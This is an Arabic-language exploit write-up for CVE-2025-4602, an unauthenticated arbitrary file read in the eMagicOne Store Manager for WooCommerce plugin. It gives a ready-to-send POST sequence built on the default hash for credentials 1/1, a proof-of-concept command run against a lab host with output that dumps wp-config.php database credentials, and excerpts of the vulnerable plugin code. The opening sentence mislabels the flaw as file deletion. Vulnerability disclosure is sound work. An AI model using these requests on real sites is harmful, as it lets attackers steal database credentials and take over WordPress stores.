
eMagicOne Store Manager for WooCommerce <= 1.2.5 - قراءة ملفات تعسفية بدون مصادقة
يُعرّض إضافة eMagicOne Store Manager for WooCommerce نقطة نهاية لبروتوكول الإدارة عن بُعد (?connector=bridge) تسمح بعمليات حذف الملفات على الخادم. تعتمد آلية المصادقة على زوج افتراضي من بيانات الاعتماد (login=1, password=1) ونظام مفاتيح الجلسة. إذا لم يتم تغيير بيانات الاعتماد الافتراضية، يمكن للمهاجم المصادقة بسهولة، والحصول على مفتاح جلسة، وقراءة ملفات تعسفية من جذر ووردبريس أو أي دليل يمكن الوصول إليه.
تم توفير إثبات مفهوم (POC) CVE-2025-4602.py لتوضيح قراءة ملف wp-config.php من الخادم.
python3 CVE-2025-4602.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Getting file...
[*] File Content: <?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'lab1' );
/** Database username */
define( 'DB_USER', 'homestead' );
/** Database password */
define( 'DB_PASSWORD', 'secret' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
...
...
...
...
...
عند تفعيل الإضافة، يتم تعيين الثوابت التالية في smconnector.php:
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
الهاش الافتراضي المستخدم للمصادقة هو:
'smconnector_hash' => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
النتيجة: الهاش الافتراضي هو md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b.
يتم الحصول على مفتاح الجلسة عن طريق إرسال طلب POST إلى نقطة نهاية الجسر مع الهاش ومهمة (مثل get_version):
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded
hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
الكود ذو الصلة:
classes/class-emosmconnectorcommon.php (الأسطر ~441-525):
private function check_auth() {
if ( $this->shop_cart->isset_request_param( 'key' ) ) {
// ... session key validation ...
} elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
$hash = (string) $this->shop_cart->get_request_param( 'hash' );
if ( ! $this->is_hash_valid( $hash ) ) {
// ... error ...
}
$key = $this->generate_session_key( $hash );
// ... return session key ...
}
}
يتم تخزين مفتاح الجلسة في جدول wp_smconnector_session_keys:
private function generate_session_key( $hash ) {
$key = hash( 'sha256', $hash . $timestamp );
$sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
. "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
. $date . "', '" . $date . "')";
$this->shop_cart->exec_sql( $sql );
return $key;
}
باستخدام مفتاح جلسة صالح، يمكن للمهاجم قراءة الملفات عبر مهمة get_file:
POST /?connector=bridge&task=get_file&key=<session_key>&entity_type=.&filename=wp-config.php
الكود ذو الصلة:
classes/class-emosmconnectorcommon.php (الأسطر ~2219+):
2219 /** Get file */
2220 private function get_file() {
2221 if ( ! $this->shop_cart->isset_request_param( 'entity_type' ) ) {
2222 $this->generate_error( $this->br_errors['entitytype_param_missing'] );
2223 }
2224
2225 if ( ! $this->shop_cart->isset_request_param( 'filename' ) ) {
2226 $this->generate_error( $this->br_errors['filename_param_missing'] );
2227 }
2228
2229 $entity_type = (string) $this->shop_cart->get_request_param( 'entity_type' );
2230 $filename = (string) $this->shop_cart->get_request_param( 'filename' );
2231
2232 if ( empty( $entity_type ) ) {
2233 $this->generate_error( $this->br_errors['entitytype_param_empty'] );
2234 }
2235
2236 if ( empty( $filename ) ) {
2237 $this->generate_error( $this->br_errors['filename_param_empty'] );
2238 }
2239
2240 $file_path = $this->shop_cart->get_file( $entity_type, $filename );
2241
2242 if ( $file_path && $this->shop_cart->file_exists( $file_path ) ) {
2243 header( 'Content-Type: image/jpeg' );
2244 header( 'Content-Length: ' . $this->shop_cart->file_size( $file_path ) );
2245 readfile( $file_path );
2246 } else {
2247 $this->generate_error( 'File is missing' );
2248 }
2249 }
حذف الملفات في class-emosmcwoocommerceoverrider.php (الأسطر ~380+):::
426 public function get_file( $folder, $filename ) {
427 $folder = trim( $folder, '/' );
428 $filename = ltrim( $filename, '/' );
429 if ( empty( $folder ) ) {
430 return $this->get_shop_root_dir() . $filename;
431 }
432
433 return $this->get_shop_root_dir() . "$folder/$filename";
النتيجة: يتم إرجاع الملف من الخادم.